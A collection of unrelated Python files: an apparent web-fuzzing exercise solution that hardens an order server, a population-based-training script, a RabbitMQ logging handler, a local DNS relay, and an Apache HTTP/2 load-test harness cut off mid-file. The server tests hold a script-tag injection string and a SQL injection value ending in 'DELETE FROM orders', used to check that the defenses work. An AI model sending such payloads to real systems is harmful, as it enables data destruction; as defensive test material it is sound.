__name__ == '__main__': print('\n### Exercise 1: Fix the Server') #### Part 1: Silent Failures if __name__ == '__main__': print('\n#### Part 1: Silent Failures') BETTER_HTML_INTERNAL_SERVER_ERROR = \ HTML_INTERNAL_SERVER_ERROR.replace("<pre>{error_message}</pre>", "") if __name__ == '__main__': HTML(BETTER_HTML_INTERNAL_SERVER_ERROR) class BetterHTTPRequestHandler(SimpleHTTPRequestHandler): def internal_server_error(self): # Note: No INTERNAL_SERVER_ERROR status self.send_response(HTTPStatus.OK, "Internal Error") self.send_header("Content-type", "text/html") self.end_headers() exc = traceback.format_exc() self.log_message("%s", exc.strip()) # No traceback or other information message = BETTER_HTML_INTERNAL_SERVER_ERROR self.wfile.write(message.encode("utf8")) #### Part 2: Sanitized HTML if __name__ == '__main__': print('\n#### Part 2: Sanitized HTML') import html class BetterHTTPRequestHandler(BetterHTTPRequestHandler): def send_order_received(self, values): sanitized_values = {} for field in values: sanitized_values[field] = html.escape(values[field]) sanitized_values["item_name"] = html.escape( FUZZINGBOOK_SWAG[values["item"]]) confirmation = HTML_ORDER_RECEIVED.format( **sanitized_values).encode("utf8") self.send_response(HTTPStatus.OK, "Order received") self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(confirmation) #### Part 3: Sanitized SQL if __name__ == '__main__': print('\n#### Part 3: Sanitized SQL') class BetterHTTPRequestHandler(BetterHTTPRequestHandler): def store_order(self, values): db = sqlite3.connect(ORDERS_DB) db.execute("INSERT INTO orders VALUES (?, ?, ?, ?, ?)", (values['item'], values['name'], values['email'], values['city'], values['zip'])) db.commit() #### Part 4: A Robust Server if __name__ == '__main__': print('\n#### Part 4: A Robust Server') class BetterHTTPRequestHandler(BetterHTTPRequestHandler): REQUIRED_FIELDS = ['item', 'name', 'email', 'city', 'zip'] def handle_order(self): values = self.get_field_values() for required_field in self.REQUIRED_FIELDS: if required_field not in values: self.send_order_form() return self.store_order(values) self.send_order_received(values) #### Part 5: Test it! if __name__ == '__main__': print('\n#### Part 5: Test it!') if __name__ == '__main__': httpd_process, httpd_url = start_httpd(BetterHTTPRequestHandler) if __name__ == '__main__': print_url(httpd_url) if __name__ == '__main__': print_httpd_messages() if __name__ == '__main__': standard_order = "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104" contents = webbrowser(httpd_url + standard_order) HTML(contents) if __name__ == '__main__': assert contents.find("Thank you") > 0 if __name__ == '__main__': bad_order = "/order?item=" contents = webbrowser(httpd_url + bad_order) HTML(contents) if __name__ == '__main__': assert contents.find("Order Form") > 0 if __name__ == '__main__': injection_order = "/order?item=tshirt&name=Jane+Doe" + cgi_encode("<script></script>") + \ "&email=doe%40example.com&city=Seattle&zip=98104" contents = webbrowser(httpd_url + injection_order) HTML(contents) if __name__ == '__main__': assert contents.find("Thank you") > 0 assert contents.find("<script>") < 0 assert contents.find("&lt;script&gt;") > 0 if __name__ == '__main__': sql_order = "/order?item=tshirt&name=" + \ cgi_encode("Robert', 'x', 'x', 'x'); DELETE FROM orders; --") + \ "&email=doe%40example.com&city=Seattle&zip=98104" contents = webbrowser(httpd_url + sql_order) HTML(contents) if __name__ == '__main__': assert contents.find("DELETE FROM") > 0 assert not orders_db_is_empty() if __name__ == '__main__': httpd_process.terminate() if __name__ == '__main__': if os.path.exists(ORDERS_DB): os.remove(ORDERS_DB) ### Exercise 2: Protect the Server if __name__ == '__main__': print('\n### Exercise 2: Protect the Server') #### Part 1: A Blacklisting Filter if __name__ == '__main__': print('\n#### Part 1: A Blacklisting Filter') #### Part 2: A Whitelisting Filter if __name__ == '__main__': print('\n#### Part 2: A Whitelisting Filter') ### Exercise 3: Input Patterns if __name__ == '__main__': print('\n### Exercise 3: Input Patterns') ### Exercise 4: Coverage-Driven Web Fuzzing if __name__ == '__main__': print('\n### Exercise 4: Coverage-Driven Web Fuzzing')
pbt.py
import os os.chdir(os.path.dirname(os.path.realpath(__file__))) import numpy as np import torch from torch.autograd import Variable from functools import partial from multiprocessing import Pool import torch.multiprocessing as mp import operator def evaluate(model): correct = 0 total = len(test_loader.dataset) for data, target in test_loader: data = Variable(data.cuda()) target = Variable(target.cuda()) numCorrect = model.eval(data, target) correct += numCorrect return 100*correct/total def train_asyncLoad(worker, model, train_acc): #* This method selects the best performer only (not one from TOP %20) epochLoss = 0.0; numEpisodes = len(train_loader) print("Training Model {}...".format(worker)) for data, target in train_loader: data = Variable(data.cuda()) target = Variable(target.cuda()) loss = model.update(data, target) epochLoss += loss.item() print("Model {} epoch training loss: {}".format(worker, epochLoss/numEpisodes)) #* If epoch for the individual is done then it is READY #? EVALUATE PERFORMANCE ev = evaluate(model) print("Model {} evaluation accuracy: %{}".format(worker, ev)) train_acc[worker] = ev model.save('models/model{}'.format(worker)) def exploitPopulation(train_acc): #? EXPLOIT bestPerformer = max(train_acc.items(), key = operator.itemgetter(1))[0] return bestPerformer def exploreIndividual(worker, model, bestPerformer): #? EXPLORE if not bestPerformer == worker: model.load('models/model{}'.format(bestPerformer)) #! Async behavior forces to load a file which is being saved. print("Model {} is changed to Model {}".format(worker, bestPerformer)) #? Perturbation sequence seed = np.random.randint(0, 1000, 1)[0] model.perturb(worker, seed) model.save('models/model{}'.format(worker)) #* Save method saves both weights and optimizer hyperparameters train_acc[worker] = evaluate(model) def genericPBT(EPOCH): try: torch.multiprocessing.set_start_method("spawn", force=True) except: pass num_processes = 3 lrs = [0.1, 0.05, 0.01] models = [] for i in lrs: models.append(classifierMNISTCNN(None, 10, True, i).to(device)) processes = [] train_acc = mp.Manager().dict() for e in range(1, EPOCH+1): for rank in range(num_processes): p = mp.Process(target=train_asyncLoad, args=(rank, models[rank], train_acc)) p.start() processes.append(p) print("\n===========================================\n") print("Epoch {} - Training/Evaluation Sequences\n".format(e)) for p in processes: p.join() print("\nEpoch {} - Exploration/Exploitation Sequences\n".format(e)) bestPerformer = exploitPopulation(train_acc) for i, model in enumerate(models): exploreIndividual(i, model, bestPerformer) #* Save best model at the end print("\nSaving best performer: Model {}.".format(bestPerformer)) models[bestPerformer].save("models/bestPerformer")
handlers_oneway.py
# -*- coding: utf-8 -*- import time import logging import threading from copy import copy import pika from pika import credentials from .compat import Queue from .filters import FieldFilter from .formatters import JSONFormatter from .compat import ExceptionReporter class RabbitMQHandlerOneWay(logging.Handler): """ Python/Django logging handler to ship logs to RabbitMQ. Inspired by: https://github.com/ziXiong/MQHandler """ def __init__(self, level=logging.NOTSET, formatter=None, host='localhost', port=5672, connection_params=None, username=None, password=None, exchange='log', declare_exchange=False, routing_key_format="{name}.{level}", routing_key_formatter=None, close_after_emit=False, fields=None, fields_under_root=True, message_headers=None, record_fields=None, exclude_record_fields=None, heartbeat=60, content_type='text/plain'): # Initialize the handler. # # :param level: Logs level. # :param formatter: Use custom formatter for the logs. # :param host: RabbitMQ host. Default localhost # :param port: RabbitMQ Port. Default 5672 # :param connection_params: Allow extra params to connect with RabbitMQ. # :param message_headers: A dictionary of headers to be published with the message. Optional. # :param username: Username in case of authentication. # :param password: Password for the username. # :param exchange: Send logs using this exchange. # :param declare_exchange: Whether or not to declare the exchange. # :param routing_key_format: Customize how messages will be routed to the queues. # :param routing_key_formatter: Override how messages will be routed to the queues. # Formatter is passed record object. # :param close_after_emit: Close connection after emit the record? # :param fields: Send these fields as part of all logs. # :param fields_under_root: Merge the fields in the root object. # :record_fields: A set of attributes that should be preserved from the record object. # :exclude_record_fields: A set of attributes that should be ignored from the record object. # :heartbeat: Lower bound for heartbeat timeout. # :content_type: The format of the message sent to the queue. super(RabbitMQHandlerOneWay, self).__init__(level=level) # Important instances/properties. self.exchange = exchange self.connection = None self.channel = None self.exchange_declared = not declare_exchange self.routing_key_format = routing_key_format self.close_after_emit = close_after_emit # Connection parameters. # Allow extra params when connect to RabbitMQ. # @see: http://pika.readthedocs.io/en/0.10.0/modules/parameters.html#pika.connection.ConnectionParameters conn_params = connection_params if isinstance(connection_params, dict) else {} self.connection_params = conn_params.copy() self.connection_params.update(dict(host=host, port=port, heartbeat=heartbeat, blocked_connection_timeout=150)) if username and password: self.connection_params['credentials'] = credentials.PlainCredentials(username, password) # Extra params for message publication self.message_headers = message_headers self.content_type = content_type # Save routing-key formatter. self.routing_key_formatter = routing_key_formatter # Logging. self.formatter = formatter or JSONFormatter( include=record_fields, exclude=exclude_record_fields ) self.fields = fields if isinstance(fields, dict) else {} self.fields_under_root = fields_under_root if len(self.fields) > 0: self.addFilter(FieldFilter(self.fields, self.fields_under_root)) # Connect. self.createLock() # message queue self.queue = Queue() self.start_message_worker() def open_connection(self): """ Connect to RabbitMQ. """ # Set logger for pika. # See if something went wrong connecting to RabbitMQ. if not self.connection or self.connection.is_closed or not self.channel or self.channel.is_closed: handler = logging.StreamHandler() handler.setFormatter(self.formatter) rabbitmq_logger = logging.getLogger('pika') rabbitmq_logger.addHandler(handler) rabbitmq_logger.propagate = False rabbitmq_logger.setLevel(logging.WARNING) # Connect. if not self.connection or self.connection.is_closed: self.connection = pika.BlockingConnection(pika.ConnectionParameters(**self.connection_params)) if not self.channel or self.channel.is_closed: self.channel = self.connection.channel() if self.exchange_declared is False: self.channel.exchange_declare(exchange=self.exchange, exchange_type='topic', durable=True, auto_delete=False) self.exchange_declared = True # Manually remove logger to avoid shutdown message. rabbitmq_logger.removeHandler(handler) def close_connection(self): """ Close active connection. """ self.stopping.set() while not self.stopped.is_set(): time.sleep(1) if self.channel: del self.channel if self.connection: del self.connection self.connection, self.channel = None, None def start_message_worker(self): self.stopping = threading.Event() self.stopped = threading.Event() worker = threading.Thread(target=self.message_worker) worker.setDaemon(True) worker.start() def message_worker(self): while not self.stopping.is_set(): try: record, routing_key = self.queue.get(block=True, timeout=10) if not self.connection or self.connection.is_closed or not self.channel or self.channel.is_closed: self.open_connection() res = self.channel.basic_publish( exchange=self.exchange, routing_key=routing_key, body=record, properties=pika.BasicProperties( delivery_mode=2, headers=self.message_headers, content_type=self.content_type ) ) except Queue.Empty: continue except Exception: self.channel, self.connection = None, None self.handleError(record) finally: if self.stopping.is_set(): self.stopped.set() break self.queue.task_done() if self.close_after_emit: self.close_connection() self.stopped.set() def emit(self, record): if not hasattr(self, 'queue') or self.stopped.is_set(): return try: if self.routing_key_formatter: routing_key = self.routing_key_formatter(record) else: routing_key = self.routing_key_format.format( name=record.name, level=record.levelname ) if hasattr(record, 'request'): no_exc_record = copy(record) del no_exc_record.exc_info del no_exc_record.exc_text del no_exc_record.request if record.exc_info: exc_info = record.exc_info else: exc_info = (None, record.getMessage(), None) if ExceptionReporter: reporter = ExceptionReporter(record.request, is_email=False, *exc_info) no_exc_record.traceback = reporter.get_traceback_text() formatted = self.format(no_exc_record) else: formatted = self.format(record) self.queue.put((formatted, routing_key)) except Exception: self.channel, self.connection = None, None self.handleError(record) def close(self): """ Free resources. """ self.acquire() if hasattr(self, 'queue'): del self.queue try: self.close_connection() finally: self.release()
dns_relay.py
import socket from dns import fake_bmsg, parse_msg, DNSHeader, DNSQuestion from utils import cprint, cprint_header, cprint_question from utils import bytes_to_int import multiprocessing as mp from datetime import datetime import os.path as osp def forward(msg): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) real_dns_server = ('223.5.5.5', 53) # ali dns server # real_dns_server = ('8.8.8.8', 53) # ali dns server try: sock.sendto(msg, real_dns_server) answer, _ = sock.recvfrom(1024) except socket.timeout: ... return None return answer def relay(semaphore: mp.Semaphore, queue: mp.Queue, output_lock: mp.Lock, bmsg: bytes, addr: tuple, relay_dict, recv_time: datetime): semaphore.acquire() bmsg = bytearray(bmsg) header = DNSHeader(bmsg[:12]) header.aa = 1 bmsg = header.bmsg + bmsg[12:] assert header.qdcount == 1 question = DNSQuestion(bmsg, offset=12) with output_lock: cprint(f'[{recv_time}][recv query {bytes_to_int(bmsg[:2])}]: {bmsg} from {addr}', fore='green', style='reverse') cprint_header(header, fore='green') cprint_question(question, fore='green') if question.qname in relay_dict: if relay_dict[question.qname] == '0.0.0.0': header.rcode = 3 answer = header.bmsg + bmsg[12:] mode = 'intercept ' elif question.qtype == 1: answer = fake_bmsg(bmsg, relay_dict[question.qname]) mode = 'local resolve ' else: answer = forward(bmsg) if answer is None: return mode = 'relay msg ' else: answer = forward(bmsg) mode = 'relay msg ' queue.put((answer, addr, recv_time, mode)) semaphore.release() def receiver(queue, socket_lock, output_lock, sock): config_path = osp.join(osp.dirname(__file__), 'etc', 'config') last_read_config_time = -1 semaphore = mp.Semaphore(7) while True: with socket_lock: if osp.getmtime(config_path) > last_read_config_time: last_read_config_time = osp.getmtime(config_path) config_file = open(config_path) relay_dict = {} for line in config_file: if len(line) == 1 and line[0] == '\n': continue addr, name = line.strip('\n').split(' ') relay_dict[name] = addr print(relay_dict) config_file.close() sock.settimeout(0.1) try: bmsg, addr = sock.recvfrom(1024) mp.Process(target=relay, args=(semaphore, queue, output_lock, bmsg, addr, relay_dict, datetime.now())).start() except socket.timeout: ... except ConnectionResetError: cprint("ConnectionResetError", fore='red') ... except Exception: ... def backsender(queue: mp.Queue, socket_lock: mp.Lock, output_lock: mp.Lock, sock: socket.socket): while True: with socket_lock: sock.settimeout(5) for answer_count in range(queue.qsize()): if queue.qsize() <= 0: break answer, addr, recv_time, mode = queue.get() if answer is None: continue with output_lock: cprint(f'[{datetime.now()}][{mode}{bytes_to_int(answer[:2])}]: {answer}', fore='cyan', style='reverse') answer = parse_msg(answer, fore='cyan') sock.sendto(answer, addr) send_time = datetime.now() time_cost = send_time - recv_time with output_lock: cprint(f'[{send_time}][time cost {bytes_to_int(answer[:2])}]: {time_cost}', fore='blue', style='reverse') def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: queue = mp.Queue() socket_lock = mp.Lock() output_lock = mp.Lock() receiver_process = mp.Process(target=receiver, args=(queue, socket_lock, output_lock, sock)) backsender_process = mp.Process(target=backsender, args=(queue, socket_lock, output_lock, sock)) try: sock.bind(('127.0.0.1', 53)) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) receiver_process.start() backsender_process.start() receiver_process.join() backsender_process.join() receiver_process.close() backsender_process.close() finally: sock.close() receiver_process.close() backsender_process.close() if __name__ == '__main__': main()
load_test.py
import argparse import logging import os import re import statistics import sys import time from datetime import timedelta, datetime from threading import Thread from typing import Dict, Tuple, Optional, List, Iterable from tqdm import tqdm sys.path.append(os.path.join(os.path.dirname(__file__), '')) from modules.http2.env import H2TestEnv, H2Conf, H2TestSetup from pyhttpd.result import ExecResult log = logging.getLogger(__name__) class LoadTestException(Exception): pass class H2LoadLogSummary: @staticmethod def from_file(fpath: str, title: str, duration: timedelta) -> 'H2LoadLogSummary': with open(fpath) as fd: return H2LoadLogSummary.from_lines(fd.readlines(), title=title, duration=duration) @staticmethod def from_lines(lines: Iterable[str], title: str, duration: timedelta) -> 'H2LoadLogSummary': stati = {} count = 0 durations = list() all_durations = timedelta(milliseconds=0) for line in lines: parts = re.split(r'\s+', line) # start(us), status(int), duration(ms), tbd. if len(parts) >= 3 and parts[0] and parts[1] and parts[2]: count += 1 status = int(parts[1]) if status in stati: stati[status] += 1 else: stati[status] = 1 durations.append(int(parts[2])) all_durations += timedelta(microseconds=int(parts[2])) else: sys.stderr.write("unrecognize log line: {0}".format(line)) mean_duration = statistics.mean(durations) return H2LoadLogSummary(title=title, total=count, stati=stati, duration=duration, all_durations=all_durations, mean_duration=mean_duration) def __init__(self, title: str, total: int, stati: Dict[int, int], duration: timedelta, all_durations: timedelta, mean_duration: timedelta): self._title = title self._total = total self._stati = stati self._duration = duration self._all_durations = all_durations self._mean_duration = mean_duration self._transfered_mb = 0.0 self._exec_result = None self._expected_responses = 0 @property def title(self) -> str: return self._title @property def response_count(self) -> int: return self._total @property def duration(self) -> timedelta: return self._duration @property def mean_duration_ms(self) -> float: return self._mean_duration / 1000.0 @property def response_durations(self) -> timedelta: return self._all_durations @property def response_stati(self) -> Dict[int, int]: return self._stati @property def expected_responses(self) -> int: return self._expected_responses @property def execution(self) -> ExecResult: return self._exec_result def all_200(self) -> bool: non_200s = [n for n in self._stati.keys() if n != 200] return len(non_200s) == 0 @property def throughput_mb(self) -> float: if self._transfered_mb > 0.0: return self._transfered_mb / self.duration.total_seconds() return 0.0 def set_transfered_mb(self, mb: float) -> None: self._transfered_mb = mb def set_exec_result(self, result: ExecResult): self._exec_result = result def set_expected_responses(self, n: int): self._expected_responses = n def get_footnote(self) -> Optional[str]: note = "" if 0 < self.expected_responses != self.response_count: note += "{0}/{1} missing".format( self.expected_responses - self.response_count, self.expected_responses ) if not self.all_200(): note += ", non 200s:" for status in [n for n in self.response_stati.keys() if n != 200]: note += " {0}={1}".format(status, self.response_stati[status]) return note if len(note) else None class H2LoadMonitor: def __init__(self, fpath: str, expected: int, title: str): self._fpath = fpath self._expected = expected self._title = title self._tqdm = tqdm(desc=title, total=expected, unit="request", leave=False) self._running = False self._lines = () self._tail = None def start(self): self._tail = Thread(target=self._collect, kwargs={'self': self}) self._running = True self._tail.start() def get_summary(self, duration: timedelta) -> H2LoadLogSummary: self._running = False self._tail.join() return H2LoadLogSummary.from_file(self._fpath, title=self._title, duration=duration) def stop(self): self._running = False @staticmethod def _collect(self) -> None: first_call = True while self._running: try: with open(self._fpath) as fd: if first_call: fd.seek(0, 2) first_call = False latest_data = fd.read() while self._running: if '\n' not in latest_data: latest_data += fd.read() if '\n' not in latest_data: if not os.path.isfile(self._fpath): break time.sleep(0.1) continue lines = latest_data.split('\n') if lines[-1] != '\n': latest_data = lines[-1] lines = lines[:-1] else: latest_data = None self._tqdm.update(n=len(lines)) if latest_data is None: latest_data = fd.read() except IOError: time.sleep(0.1) self._tqdm.close() def mk_text_file(fpath: str, lines: int): t110 = "" for _ in range(11): t110 += "0123456789" with open(fpath, "w") as fd: for i in range(lines): fd.write("{0:015d}: ".format(i)) # total 128 bytes per line fd.write(t110) fd.write("\n") class LoadTestCase: @staticmethod def from_scenario(scenario: Dict, env: H2TestEnv) -> 'UrlsLoadTest': raise NotImplemented def run(self) -> H2LoadLogSummary: raise NotImplemented def format_result(self, summary: H2LoadLogSummary) -> str: raise NotImplemented def shutdown(self): raise NotImplemented @staticmethod def setup_base_conf(env: H2TestEnv, worker_count: int = 5000, extras=None) -> H2Conf: conf = H2Conf(env=env, extras=extras) # ylavic's formula process_count = int(max(10, min(100, int(worker_count / 100)))) thread_count = int(max(25, int(worker_count / process_count))) conf.add(f""" StartServers 1 ServerLimit {int(process_count * 2.5)} ThreadLimit {thread_count} ThreadsPerChild {thread_count} MinSpareThreads {thread_count} MaxSpareThreads {int(worker_count / 2)} MaxRequestWorkers {worker_count} MaxConnectionsPerChild 0 KeepAliveTimeout 60 MaxKeepAliveRequests 0 """) return conf @staticmethod def start_server(env: H2TestEnv, cd: timedelta = None): if cd: with tqdm(desc="connection cooldown", total=int(cd.total_seconds()), unit="s", leave=False) as t: end = datetime.now() + cd while datetime.now() < end: time.sleep(1) t.update() assert env.apache_restart() == 0 @staticmethod def server_setup(env: H2TestEnv, extras: Dict = None): if not extras: extras = { 'base': """ LogLevel ssl:warn Protocols h2 http/1.1 H2MinWorkers 32 H2MaxWorkers 256 """ } extras['base'] += f""" ProxyPreserveHost on SSLProxyVerify require SSLProxyCACertificateFile {env.ca.cert_file} <Proxy https://127.0.0.1:{env.https_port}/> SSLProxyEngine on </Proxy> <Proxy h2://127.0.0.1:{env.https_port}/> SSLProxyEngine on </Proxy> """ extras[f"test1.{env.http_tld}"] = f""" Protocols h2 http/1.1 ProxyPass /proxy-h1/ https://127.0.0.1:{env.https_port}/ ProxyPass /proxy-h2/ h2://127.0.0.1:{env.https_port}/ """ conf = LoadTestCase.setup_base_conf(env=env, extras=extras) conf.add_vhost_test1() conf.install() class UrlsLoadTest(LoadTestCase): SETUP_DONE = False def __init__(self, env: H2TestEnv, location: str, clients: int, requests: int, file_count: int, file_sizes: List[int], measure: str, protocol: str = 'h2', max_parallel: int = 1, threads: int = None, warmup: bool = False): self.env = env self._location = location self._clients = clients self._measure = measure self._requests = requests self._file_count = file_count self._file_sizes = file_sizes self._protocol = protocol self._max_parallel = max_parallel self._threads = threads if threads is not None else min(2, self._clients) self._url_file = "{gen_dir}/h2load-urls.txt".format(gen_dir=self.env.gen_dir) self._warmup = warmup @staticmethod def from_scenario(scenario: Dict, env: H2TestEnv) -> 'UrlsLoadTest': return UrlsLoadTest( env=env, location=scenario['location'], clients=scenario['clients'], requests=scenario['requests'], file_sizes=scenario['file_sizes'], file_count=scenario['file_count'], protocol=scenario['protocol'], max_parallel=scenario['max_parallel'], warmup=scenario['warmup'], measure=scenario['measure'] ) def next_scenario(self, scenario: Dict) -> 'UrlsLoadTest': return UrlsLoadTest( env=self.env, location=scenario['location'], clients=scenario['clients'], requests=scenario['requests'], file_sizes=scenario['file_sizes'], file_count=scenario['file_count'], protocol=scenario['protocol'], max_parallel=scenario['max_parallel'], warmup=scenario['warmup'], measure=scenario['measure'] ) def _setup(self, cls, extras: Dict = None): LoadTestCase.server_setup(env=self.env, extras=extras) docs_a = os.path.join(self.env.server_docs_dir, "test1") uris = [] for i in range(self._file_count): fsize = self._file_sizes[i % len(self._file_sizes)] if fsize is None: raise Exception("file sizes?: {0} {1}".format(i, fsize)) fname = "{0}-{1}k.txt".format(i, fsize) fpath = os.path.join(docs_a, fname) if not os.path.isfile(fpath): mk_text_file(os.path.join(docs_a, fname), 8 * fsize) uris.append(f"{self._location}{fname}") with open(self._url_file, 'w') as fd: fd.write("\n".join(uris)) fd.write("\n") self.start_server(env=self.env) def _teardown(self): # we shutdown apache at program exit pass def shutdown(self): self._teardown() def run_test(self, mode: str, path: str) -> H2LoadLogSummary: monitor = None try: log_file = "{gen_dir}/h2load.log".format(gen_dir=self.env.gen_dir) if os.path.isfile(log_file): os.remove(log_file) monitor = H2LoadMonitor(log_file, expected=self._requests, title=f"{self._protocol}/" f"{self._file_count / 1024}f/{self._clients}c[{mode}]") monitor.start() args = [ 'h2load', '--clients={0}'.format(self._clients), '--threads={0}'.format(self._threads), '--requests={0}'.format(self._requests), '--input-file={0}'.format(self._url_file), '--log-file={0}'.format(log_file), f'--connect-to=localhost:{self.env.https_port}', ] if self._protocol == 'h1' or self._protocol == 'http/1.1': args.append('--h1') elif self._protocol == 'h2': args.extend(['-m', str(self._max_parallel)]) else: raise Exception(f"unknown protocol: {self._protocol}") r = self.env.run(args + [ f'--base-uri=https://test1{self.env.http_tld}:{self.env.https_port}{self._location}' ]) if r.exit_code != 0: raise LoadTestException("h2load returned {0}: {1}".format(r.exit_code, r.stderr)) summary = monitor.get_summary(duration=r.duration) summary.set_expected_responses(self._requests) summary.set_exec_result(r) return summary finally: if monitor is not None: monitor.stop() def run(self) -> H2LoadLogSummary: path = self._setup(self.__class__) try: if self._warmup: self.run_test(mode="warmup", path=path) r = self.run_test(mode="measure", path=path) # time.sleep(300) return r finally: self._teardown() def format_result(self, summary: H2LoadLogSummary) -> Tuple[str, Optional[List[str]]]: if self._measure == 'req/s': r = "{0:d}".format(round(summary.response_count / summary.duration.total_seconds())) elif self._measure == 'mean ms/req': r = "{0:.1f}".format(summary.mean_duration_ms) elif self._measure == 'mb/s': reqs = summary.response_count / summary.duration.total_seconds() mean_size = statistics.mean(self._file_sizes) r = "{0:d}".format(round(reqs * mean_size / 1024.0)) else: raise Exception(f"measure '{self._measure}' not defined") return r, summary.get_footnote() class StressTest(LoadTestCase): SETUP_DONE = False def __init__(self, env: H2TestEnv, location: str, clients: int, requests: int, file_count: int, file_sizes: List[int], protocol: str = 'h2', max_parallel: int = 1, cooldown: timedelta = None, threads: int = None, ): self.env = env self._location = location self._clients = clients self._requests = requests self._file_count = file_count self._file_sizes = file_sizes self._protocol = protocol self._max_parallel = max_parallel self._cooldown = cooldown if cooldown else timedelta(seconds=0) self._threads = threads if threads is not None else min(2, self._clients) self._url_file = "{gen_dir}/h2load-urls.txt".format(gen_dir=self.env.gen_dir) self._is_setup = False @staticmethod def from_scenario(scenario: Dict, env: H2TestEnv) -> 'UrlsLoadTest': return StressTest( env=env, location=scenario['location'], clients=scenario['clients'], requests=scenario['requests'], file_sizes=scenario['file_sizes'], file_count=scenario['file_count'], protocol=scenario['protocol'], max_parallel=scenario['max_parallel'], cooldown=scenario['cooldown'] ) def next_scenario(self, scenario: Dict) -> 'UrlsLoadTest': self._location = scenario['location'] self._clients = scenario['clients'] self._requests = scenario['requests'] self._file_sizes = scenario['file_sizes'] self._file_count = scenario['file_count'] self._protocol = scenario['protocol'] self._max_parallel = scenario['max_parallel'] return self def _setup(self, cls): LoadTestCase.server_setup(env=self.env, extras={ 'base': f""" H2MinWorkers 32 H2MaxWorkers 128 H2MaxWorkerIdleSeconds 5 """ }) if not cls.SETUP_DONE: with tqdm(desc="setup resources", total=self._file_count, unit="file", leave=False) as t: docs_a = os.path.join(self.env.server_docs_dir, "test1") uris = [] for i in range(self._file_count): fsize = self._file_sizes[i % len(self._file_sizes)] if fsize is None: raise Exception("file sizes?: {0} {1}".format(i, fsize)) fname = "{0}-{1}k.txt".format(i, fsize) mk_text_file(os.path.join(docs_a, fname), 8 * fsize) uris.append(f"{self._location}{fname}") t.update() with open(self._url_file, 'w') as fd: fd.write("\n".join(uris)) fd.write("\n") cls.SETUP_DONE = True self.start_server(env=self.env) self._is_setup = True def shutdown(self): # we shutdown apache at program exit pass def run_test(self, mode: str) -> H2LoadLogSummary: monitor = None try: log_file = "{gen_dir}/h2load.log".format(gen_dir=self.env.gen_dir) if os.path.isfile(log_file): os.remove(log_file) monitor = H2LoadMonitor(log_file, expected=self._requests, title=f"{self._protocol}/" f"{self._file_count / 1024}f/{self._clients}c[{mode}]") monitor.start() args = [ 'h2load', '--clients={0}'.format(self._clients), '--threads={0}'.format(min(self._clients, 2)), '--requests={0}'.format(self._requests), '--input-file={0}'.format(self._url_file), '--log-file={0}'.format(log_file), '--connect-to=localhost:{0}'.format(self.env.https_port) ] if self._protocol == 'h1' or self._protocol == 'http/1.1': args.append('--h1') elif self._protocol == 'h2': args.extend(['-m', str(self._max_parallel)]) else: raise Exception(f"unknown protocol: {self._protocol}") r = self.env.run(args + [ f'--base-uri=https://{self.env.domain_test1}:{self.env.https_port}{self._location}' ]) if r.exit_code != 0: raise LoadTestException("h2load returned {0}: {1}".format(r.exit_code, r.stderr)) summary = monitor.get_summary(duration=r.duration) summary.set_expected_responses(self._requests) summary.set_exec_result(r) return summary finally: if monitor is not None: monitor.stop() def run(self) -> H2LoadLogSummary: if not self._is_setup: self._setup(self.__class__) elif self._cooldown.total_seconds() > 0: with tqdm(desc="worker cooldown", total=int(self._cooldown.total_seconds()), unit="s", leave=False) as t: end = datetime.now() + self._cooldown while datetime.now() < end: time.sleep(1) t.update() return self.run_test(mode="measure") def format_result(self, summary: H2LoadLogSummary) -> Tuple[str, Optional[List[str]]]: return "{0:.1f}".format( summary.response_count / summary.duration.total_seconds() ), summary.get_footnote() class LoadTest: @staticmethod def print_table(table: List[List[str]], foot_notes: List[str] = None): col_widths = [] col_sep = " " for row in table[1:]: for idx, cell in enumerate(row): if idx >= len(col_widths): col_widths.append(len(cell)) else: col_widths[idx] = max(len(cell), col_widths[idx]) row_len = sum(col_widths) + (len(col_widths) * len(col_sep)) print(f"{' '.join(table[0]):^{row_len}}") for row in table[1:]: line = "" for idx, cell in enumerate(row): line += f"{col_sep if idx > 0 else ''}{cell:>{col_widths[idx]}}" print(line) if foot_notes is not None: for idx, note in enumerate(foot_notes): print("{0:3d}) {1}".format(idx+1, note)) @classmethod def main(cls): parser = argparse.ArgumentParser(prog='load_h1', description=""" Run a range of load tests against the test Apache setup. """) parser.add_argument("-p", "--protocol", type=str, default=None, help="which protocols to test, defaults to all") parser.add_argument("-v", "--verbose", action='count', default=0, help="log more output on stderr") parser.add_argument("names", nargs='*', help="Name(s) of scenarios to run") args = parser.parse_args() if args.verbose > 0: console = logging.StreamHandler() console.setLevel(logging.INFO) console.setFormatter(logging.Formatter(logging.BASIC_FORMAT)) logging.getLogger('').addHandler(console) scenarios = { "1k-files": { "title": "1k files, 1k-10MB, *conn, 10k req ({measure})", "class": UrlsLoadTest, "location": "/", "file_count": 1024, "file_sizes": [1, 2, 3, 4, 5, 10, 20, 30, 40, 50, 100, 10000], "requests": 10000, "warmup": True, "measure": "req/s", "protocol": 'h2', "max_parallel": 1, "row0_title": "protocol max", "row_title": "{protocol} {max_parallel:3d}", "rows": [ {"protocol": 'h2', "max_parallel": 1}, {"protocol": 'h2', "max_parallel": 2}, {"protocol": 'h2', "max_parallel": 6}, {"protocol": 'h2', "max_parallel": 20}, {"protocol": 'h2', "max_parallel": 50}, {"protocol": 'h1', "max_parallel": 1}, ], "col_title": "{clients}c", "clients": 1, "columns": [ {"clients": 1}, {"clients": 4}, {"clients": 8}, {"clients": 16}, {"clients": 32}, ], }, "long": { "title": "1k files, 10k size, *conn, 100k req, {protocol} ({measure})", "class": UrlsLoadTest, "location": "/", "file_count": 100, "file_sizes": [1], "requests": 100000, "warmup": False, "measure": "req/s", "protocol": 'h2', "max_parallel": 1, "row0_title": "max requests", "row_title": "{max_parallel:3d} {requests}", "rows": [ {"max_parallel": 1, "requests": 100000}, {"max_parallel": 2, "requests": 100000}, #{"max_parallel": 6, "requests": 250000}, #{"max_parallel": 20, "requests": 500000}, #{"max_parallel": 50, "requests": 750000}, ], "col_title": "{clients}c", "clients": 1, "columns": [ {"clients": 1}, ], }, "durations": { "title": "1k files, 64k size, 10k req/conn ({measure})", "class": UrlsLoadTest, "location": "/", "file_count": 1024, "file_sizes": [64], "requests": 10000, "warmup": False, "measure": "mean ms/req", "protocol": 'h2', "max_parallel": 1, "row0_title": "protocol max", "row_title": "{protocol} 